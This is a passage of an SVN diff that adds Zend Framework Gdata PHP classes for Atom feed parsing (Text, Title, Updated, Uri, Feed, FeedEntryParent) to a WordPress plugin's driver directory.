+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Abstract class for data models that require only text and type-- such as:
+ * title, summary, etc.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_Extension_Text extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = null;
+    protected $_type = 'text';
+
+    public function __construct($text = null, $type = 'text')
+    {
+        parent::__construct();
+        $this->_text = $text;
+        $this->_type = $type;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /*
+     * @return Zend_Gdata_App_Extension_Type
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /*
+     * @param string $value
+     * @return Zend_Gdata_App_Extension_Text Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Title.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Title.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Title.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Text
+ */
+require_once 'Zend/Gdata/App/Extension/Text.php';
+
+/**
+ * Represents the atom:title element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Title extends Zend_Gdata_App_Extension_Text
+{
+
+    protected $_rootElement = 'title';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Updated.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Updated.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Updated.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:updated element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Updated extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'updated';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Uri.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Uri.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Uri.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an uri
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:uri element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Uri extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'uri';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Feed.php	(revision 44)
@@ -0,0 +1,351 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Entry
+ */
+require_once 'Zend/Gdata/App/Entry.php';
+
+/**
+ * @see Zend_Gdata_App_FeedSourceParent
+ */
+require_once 'Zend/Gdata/App/FeedSourceParent.php';
+
+/**
+ * Atom feed class
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Feed extends Zend_Gdata_App_FeedSourceParent
+        implements Iterator, ArrayAccess
+{
+
+    /**
+     * The root xml element of this data element
+     *
+     * @var string
+     */
+    protected $_rootElement = 'feed';
+
+    /**
+     * Cache of feed entries.
+     *
+     * @var array
+     */
+    protected $_entry = array();
+
+    /**
+     * Current location in $_entry array
+     *
+     * @var int
+     */
+    protected $_entryIndex = 0;
+
+    /**
+     * Make accessing some individual elements of the feed easier.
+     *
+     * Special accessors 'entry' and 'entries' are provided so that if
+     * you wish to iterate over an Atom feed's entries, you can do so
+     * using foreach ($feed->entries as $entry) or foreach
+     * ($feed->entry as $entry).
+     *
+     * @param  string $var The property to get.
+     * @return mixed
+     */
+    public function __get($var)
+    {
+        switch ($var) {
+            case 'entries':
+                return $this;
+            default:
+                return parent::__get($var);
+        }
+    }
+
+    /**
+     * Retrieves the DOM model representing this object and all children
+     *
+     * @param DOMDocument $doc
+     * @return DOMElement
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        foreach ($this->_entry as $entry) {
+            $element->appendChild($entry->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('atom') . ':' . 'entry':
+            $newEntry = new $this->_entryClassName($child);
+            $newEntry->setHttpClient($this->getHttpClient());
+            $newEntry->setMajorProtocolVersion($this->getMajorProtocolVersion());
+            $newEntry->setMinorProtocolVersion($this->getMinorProtocolVersion());
+            $this->_entry[] = $newEntry;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Get the number of entries in this feed object.
+     *
+     * @return integer Entry count.
+     */
+    public function count()
+    {
+        return count($this->_entry);
+    }
+
+    /**
+     * Required by the Iterator interface.
+     *
+     * @return void
+     */
+    public function rewind()
+    {
+        $this->_entryIndex = 0;
+    }
+
+    /**
+     * Required by the Iterator interface.
+     *
+     * @return mixed The current row, or null if no rows.
+     */
+    public function current()
+    {
+        return $this->_entry[$this->_entryIndex];
+    }
+
+    /**
+     * Required by the Iterator interface.
+     *
+     * @return mixed The current row number (starts at 0), or NULL if no rows
+     */
+    public function key()
+    {
+        return $this->_entryIndex;
+    }
+
+    /**
+     * Required by the Iterator interface.
+     *
+     * @return mixed The next row, or null if no more rows.
+     */
+    public function next()
+    {
+        ++$this->_entryIndex;
+    }
+
+    /**
+     * Required by the Iterator interface.
+     *
+     * @return boolean Whether the iteration is valid
+     */
+    public function valid()
+    {
+        return 0 <= $this->_entryIndex && $this->_entryIndex < $this->count();
+    }
+
+    /**
+     * Gets the array of atom:entry elements contained within this
+     * atom:feed representation
+     *
+     * @return array Zend_Gdata_App_Entry array
+     */
+    public function getEntry()
+    {
+        return $this->_entry;
+    }
+
+    /**
+     * Sets the array of atom:entry elements contained within this
+     * atom:feed representation
+     *
+     * @param array $value The array of Zend_Gdata_App_Entry elements
+     * @return Zend_Gdata_App_Feed Provides a fluent interface
+     */
+    public function setEntry($value)
+    {
+        $this->_entry = $value;
+        return $this;
+    }
+
+    /**
+     * Adds an entry representation to the array of entries
+     * contained within this feed
+     *
+     * @param Zend_Gdata_App_Entry An individual entry to add.
+     * @return Zend_Gdata_App_Feed Provides a fluent interface
+     */
+    public function addEntry($value)
+    {
+        $this->_entry[] = $value;
+        return $this;
+    }
+
+    /**
+     * Required by the ArrayAccess interface
+     *
+     * @param int $key The index to set
+     * @param Zend_Gdata_App_Entry $value The value to set
+     * @return void
+     */
+    public function offsetSet($key, $value)
+    {
+        $this->_entry[$key] = $value;
+    }
+
+    /**
+     * Required by the ArrayAccess interface
+     *
+     * @param int $key The index to get
+     * @param Zend_Gdata_App_Entry $value The value to set
+     */
+    public function offsetGet($key)
+    {
+        if (array_key_exists($key, $this->_entry)) {
+            return $this->_entry[$key];
+        }
+    }
+
+    /**
+     * Required by the ArrayAccess interface
+     *
+     * @param int $key The index to set
+     * @param Zend_Gdata_App_Entry $value The value to set
+     */
+    public function offsetUnset($key)
+    {
+        if (array_key_exists($key, $this->_entry)) {
+            unset($this->_entry[$key]);
+        }
+    }
+
+    /**
+     * Required by the ArrayAccess interface
+     *
+     * @param int $key The index to check for existence
+     * @return boolean
+     */
+    public function offsetExists($key)
+    {
+        return (array_key_exists($key, $this->_entry));
+    }
+
+   /**
+     * Retrieve the next set of results from this feed.
+     *
+     * @throws Zend_Gdata_App_Exception
+     * @return mixed|null Returns the next set of results as a feed of the same
+     *          class as this feed, or null if no results exist.
+     */
+    public function getNextFeed()
+    {
+        $nextLink = $this->getNextLink();
+        if (!$nextLink) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_Exception('No link to next set ' .
+            'of results found.');
+        }
+        $nextLinkHref = $nextLink->getHref();
+        $service = new Zend_Gdata_App($this->getHttpClient());
+
+        return $service->getFeed($nextLinkHref, get_class($this));
+    }
+
+   /**
+     * Retrieve the previous set of results from this feed.
+     *
+     * @throws Zend_Gdata_App_Exception
+     * @return mixed|null Returns the previous set of results as a feed of
+     *          the same class as this feed, or null if no results exist.
+     */
+    public function getPreviousFeed()
+    {
+        $previousLink = $this->getPreviousLink();
+        if (!$previousLink) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_Exception('No link to previous set ' .
+            'of results found.');
+        }
+        $previousLinkHref = $previousLink->getHref();
+        $service = new Zend_Gdata_App($this->getHttpClient());
+
+        return $service->getFeed($previousLinkHref, get_class($this));
+    }
+
+    /**
+     * Set the major protocol version that should be used. Values < 1 will
+     * cause a Zend_Gdata_App_InvalidArgumentException to be thrown.
+     *
+     * This value will be propogated to all child entries.
+     *
+     * @see _majorProtocolVersion
+     * @param (int|NULL) $value The major protocol version to use.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setMajorProtocolVersion($value)
+    {
+        parent::setMajorProtocolVersion($value);
+        foreach ($this->entries as $entry) {
+            $entry->setMajorProtocolVersion($value);
+        }
+    }
+
+    /**
+     * Set the minor protocol version that should be used. If set to NULL, no
+     * minor protocol version will be sent to the server. Values < 0 will
+     * cause a Zend_Gdata_App_InvalidArgumentException to be thrown.
+     *
+     * This value will be propogated to all child entries.
+     *
+     * @see _minorProtocolVersion
+     * @param (int|NULL) $value The minor protocol version to use.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setMinorProtocolVersion($value)
+    {
+        parent::setMinorProtocolVersion($value);
+        foreach ($this->entries as $entry) {
+            $entry->setMinorProtocolVersion($value);
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/FeedEntryParent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/FeedEntryParent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/FeedEntryParent.php	(revision 44)
@@ -0,0 +1,680 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Element
+*/
+require_once 'Zend/Gdata/App/Extension/Element.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Author
+*/
+require_once 'Zend/Gdata/App/Extension/Author.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+*/
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Contributor
+*/
+require_once 'Zend/Gdata/App/Extension/Contributor.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Id
+ */
+require_once 'Zend/Gdata/App/Extension/Id.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Link
+ */
+require_once 'Zend/Gdata/App/Extension/Link.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Rights
+ */
+require_once 'Zend/Gdata/App/Extension/Rights.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Title
+ */
+require_once 'Zend/Gdata/App/Extension/Title.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Updated
+ */
+require_once 'Zend/Gdata/App/Extension/Updated.php';
+
+/**
+ * Zend_Version
+ */
+require_once 'Zend/Version.php';
+
+/**
+ * Abstract class for common functionality in entries and feeds
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_FeedEntryParent extends Zend_Gdata_App_Base
+{
+    /**
+     * Service instance used to make network requests.
+     *
+     * @see setService(), getService()
+     */
+    protected $_service = null;
+
+    /**
+     * The HTTP ETag associated with this entry. Used for optimistic
+     * concurrency in protoco v2 or greater.
+     *
+     * @var string|null
+     */
+    protected $_etag = NULL;
+
+    protected $_author = array();
+    protected $_category = array();
+    protected $_contributor = array();
+    protected $_id = null;
+    protected $_link = array();
+    protected $_rights = null;
+    protected $_title = null;
+    protected $_updated = null;
+
+    /**
+      * Indicates the major protocol version that should be used.
+      * At present, recognized values are either 1 or 2. However, any integer
+      * value >= 1 is considered valid.
+      *
+      * @see setMajorProtocolVersion()
+      * @see getMajorProtocolVersion()
+      */
+    protected $_majorProtocolVersion = 1;
+
+    /**
+      * Indicates the minor protocol version that should be used. Can be set
+      * to either an integer >= 0, or NULL if no minor version should be sent
+      * to the server.
+      *
+      * @see setMinorProtocolVersion()
+      * @see getMinorProtocolVersion()
+      */
+    protected $_minorProtocolVersion = null;
+
+    /**
+     * Constructs a Feed or Entry
+     */
+    public function __construct($element = null)
+    {
+        if (!($element instanceof DOMElement)) {
+            if ($element) {
+                $this->transferFromXML($element);
+            }
+        } else {
+            $this->transferFromDOM($element);
+        }  
+    }
+
+    /**
+     * Set the HTTP client instance
+     *
+     * Sets the HTTP client object to use for retrieving the feed.
+     *
+     * @deprecated Deprecated as of Zend Framework 1.7. Use
+     *             setService() instead.
+     * @param  Zend_Http_Client $httpClient
+     * @return Zend_Gdata_App_Feed Provides a fluent interface
+     */
+    public function setHttpClient(Zend_Http_Client $httpClient)
+    {
+        if (!$this->_service) {
+            $this->_service = new Zend_Gdata_App();
+        }
+        $this->_service->setHttpClient($httpClient);
+        return $this;
+    }
+
+    /**
+     * Gets the HTTP client object. If none is set, a new Zend_Http_Client
+     * will be used.
+     *
+     * @deprecated Deprecated as of Zend Framework 1.7. Use
+     *             getService() instead.
+     * @return Zend_Http_Client_Abstract
+     */
+    public function getHttpClient()
+    {
+        if (!$this->_service) {
+            $this->_service = new Zend_Gdata_App();
+        }
+        $client = $this->_service->getHttpClient();
+        return $client;
+    }
+
+    /**
+     * Set the active service instance for this object. This will be used to
+     * perform network requests, such as when calling save() and delete().
+     *
+     * @param Zend_Gdata_App $instance The new service instance.
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface.
+     */
+    public function setService($instance)
+    {
+        $this->_service = $instance;
+        return $this;
+    }
+
+    /**
+     * Get the active service instance for this object. This will be used to
+     * perform network requests, such as when calling save() and delete().
+     *
+     * @return Zend_Gdata_App|null The current service instance, or null if
+     *         not set.
+     */
+    public function getService()
+    {
+        return $this->_service;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        foreach ($this->_author as $author) {
+            $element->appendChild($author->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_category as $category) {
+            $element->appendChild($category->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_contributor as $contributor) {
+            $element->appendChild($contributor->getDOM($element->ownerDocument));
+        }
+        if ($this->_id != null) {
+            $element->appendChild($this->_id->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_link as $link) {
+            $element->appendChild($link->getDOM($element->ownerDocument));
+        }
+        if ($this->_rights != null) {
+            $element->appendChild($this->_rights->getDOM($element->ownerDocument));
+        }
+        if ($this->_title != null) {
+            $element->appendChild($this->_title->getDOM($element->ownerDocument));
+        }
+        if ($this->_updated != null) {
+            $element->appendChild($this->_updated->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('atom') . ':' . 'author':
+            $author = new Zend_Gdata_App_Extension_Author();
+            $author->transferFromDOM($child);
+            $this->_author[] = $author;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'category':
+            $category = new Zend_Gdata_App_Extension_Category();
+            $category->transferFromDOM($child);
+            $this->_category[] = $category;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'contributor':
+            $contributor = new Zend_Gdata_App_Extension_Contributor();
+            $contributor->transferFromDOM($child);
+            $this->_contributor[] = $contributor;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'id':
+            $id = new Zend_Gdata_App_Extension_Id();
+            $id->transferFromDOM($child);
+            $this->_id = $id;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'link':
+            $link = new Zend_Gdata_App_Extension_Link();
+            $link->transferFromDOM($child);
+            $this->_link[] = $link;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'rights':
+            $rights = new Zend_Gdata_App_Extension_Rights();
+            $rights->transferFromDOM($child);
+            $this->_rights = $rights;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'title':
+            $title = new Zend_Gdata_App_Extension_Title();
+            $title->transferFromDOM($child);
+            $this->_title = $title;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'updated':
+            $updated = new Zend_Gdata_App_Extension_Updated();
+            $updated->transferFromDOM($child);
+            $this->_updated = $updated;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Author
+     */
+    public function getAuthor()
+    {
+        return $this->_author;
+    }
+
+    /**
+     * Sets the list of the authors of this feed/entry.  In an atom feed, each
+     * author is represented by an atom:author element
+     *
+     * @param array $value
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface
+     */
+    public function setAuthor($value)
+    {
+        $this->_author = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the array of categories that classify this feed/entry.  Each
+     * category is represented in an atom feed by an atom:category element.
+     *
+     * @return array Array of Zend_Gdata_App_Extension_Category
+     */
+    public function getCategory()
+    {
+        return $this->_category;
+    }
+
+    /**
+     * Sets the array of categories that classify this feed/entry.  Each
+     * category is represented in an atom feed by an atom:category element.
+     *
+     * @param array $value Array of Zend_Gdata_App_Extension_Category
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface
+     */
+    public function setCategory($value)
+    {
+        $this->_category = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the array of contributors to this feed/entry.  Each contributor
+     * is represented in an atom feed by an atom:contributor XML element
+     *
+     * @return array An array of Zend_Gdata_App_Extension_Contributor
+     */
+    public function getContributor()
+    {
+        return $this->_contributor;
+    }
+
+    /**
+     * Sets the array of contributors to this feed/entry.  Each contributor
+     * is represented in an atom feed by an atom:contributor XML element
+     *
+     * @param array $value
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface
+     */
+    public function setContributor($value)
+    {
+        $this->_contributor = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Id
+     */
+    public function getId()
+    {
+        return $this->_id;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Id $value
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface
+     */
+    public function setId($value)
+    {
+        $this->_id = $value;
+        return $this;
+    }
+
+    /**
+     * Given a particular 'rel' value, this method returns a matching
+     * Zend_Gdata_App_Extension_Link element.  If the 'rel' value
+     * is not provided, the full array of Zend_Gdata_App_Extension_Link
+     * elements is returned.  In an atom feed, each link is represented
+     * by an atom:link element.  The 'rel' value passed to this function
+     * is the atom:link/@rel attribute.  Example rel values include 'self',
+     * 'edit', and 'alternate'.
+     *
+     * @param string $rel The rel value of the link to be found.  If null,
+     *     the array of Zend_Gdata_App_Extension_link elements is returned
+     * @return mixed Either a single Zend_Gdata_App_Extension_link element,
+     *     an array of the same or null is returned depending on the rel value
+     *     supplied as the argument to this function
+     */
+    public function getLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_link;
+        } else {
+            foreach ($this->_link as $link) {
+                if ($link->rel == $rel) {
+                    return $link;
+                }
+            }
+            return null;
+        }
+    }
+
+    /**
+     * Returns the Zend_Gdata_App_Extension_Link element which represents
+     * the URL used to edit this resource.  This link is in the atom feed/entry
+     * as an atom:link with a rel attribute value of 'edit'.
+     *
+     * @return Zend_Gdata_App_Extension_Link The link, or null if not found
+     */
+    public function getEditLink()
+    {
+        return $this->getLink('edit');
+    }
+
+    /**
+     * Returns the Zend_Gdata_App_Extension_Link element which represents
+     * the URL used to retrieve the next chunk of results when paging through
+     * a feed.  This link is in the atom feed as an atom:link with a
+     * rel attribute value of 'next'.
+     *
+     * @return Zend_Gdata_App_Extension_Link The link, or null if not found
+     */
+    public function getNextLink()
+    {
+        return $this->getLink('next');
+    }
+
+    /**
+     * Returns the Zend_Gdata_App_Extension_Link element which represents
+     * the URL used to retrieve the previous chunk of results when paging
+     * through a feed.  This link is in the atom feed as an atom:link with a
+     * rel attribute value of 'previous'.
+     *
+     * @return Zend_Gdata_App_Extension_Link The link, or null if not found
+     */
+    public function getPreviousLink()
+    {
+        return $this->getLink('previous');
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Link
+     */
+    public function getLicenseLink()
+    {
+        return $this->getLink('license');
+    }
+
+    /**
+     * Returns the Zend_Gdata_App_Extension_Link element which represents
+     * the URL used to retrieve the entry or feed represented by this object
+     * This link is in the atom feed/entry as an atom:link with a
+     * rel attribute value of 'self'.
+     *
+     * @return Zend_Gdata_App_Extension_Link The link, or null if not found
+     */
+    public function getSelfLink()
+    {
+        return $this->getLink('self');
+    }
+
+    /**
+     * Returns the Zend_Gdata_App_Extension_Link element which represents
+     * the URL for an alternate view of the data represented by this feed or
+     * entry.  This alternate view is commonly a user-facing webpage, blog
+     * post, etc.  The MIME type for the data at the URL is available from the
+     * returned Zend_Gdata_App_Extension_Link element.
+     * This link is in the atom feed/entry as an atom:link with a
+     * rel attribute value of 'self'.
+     *
+     * @return Zend_Gdata_App_Extension_Link The link, or null if not found
+     */
+    public function getAlternateLink()
+    {
+        return $this->getLink('alternate');
+    }
+
+    /**
+     * @param array $value The array of Zend_Gdata_App_Extension_Link elements
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface
+     */
+    public function setLink($value)
+    {
+        $this->_link = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_AppExtension_Rights
+     */
+    public function getRights()
+    {
+        return $this->_rights;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Rights $value
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface
+     */
+    public function setRights($value)
+    {
+        $this->_rights = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the title of this feed or entry.  The title is an extremely
+     * short textual representation of this resource and is found as
+     * an atom:title element in a feed or entry
+     *
+     * @return Zend_Gdata_App_Extension_Title
+     */
+    public function getTitle()
+    {
+        return $this->_title;
+    }
+
+    /**
+     * Returns a string representation of the title of this feed or entry.
+     * The title is an extremely short textual representation of this
+     * resource and is found as an atom:title element in a feed or entry
+     *
+     * @return string
+     */
+    public function getTitleValue()
+    {
+        if (($titleObj = $this->getTitle()) != null) {
+            return $titleObj->getText();
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the title of this feed or entry.  The title is an extremely
+     * short textual representation of this resource and is found as
+     * an atom:title element in a feed or entry
+     *
+     * @param Zend_Gdata_App_Extension_Title $value
+     * @return Zend_Gdata_App_Feed_Entry_Parent Provides a fluent interface
+     */
+    public function setTitle($value)
+    {
+        $this->_title = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Updated
+     */
+    public function getUpdated()
+    {
+        return $this->_updated;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Updated $value
+     * @return Zend_Gdata_App_Feed_Entry_Parent Provides a fluent interface
+     */
+    public function setUpdated($value)
+    {
+        $this->_updated = $value;
+        return $this;
+    }
+
+    /**
+     * Set the Etag for the current entry to $value. Setting $value to null
+     * unsets the Etag.
+     *
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setEtag($value) {
+        $this->_etag = $value;
+        return $this;
+    }
+
+    /**
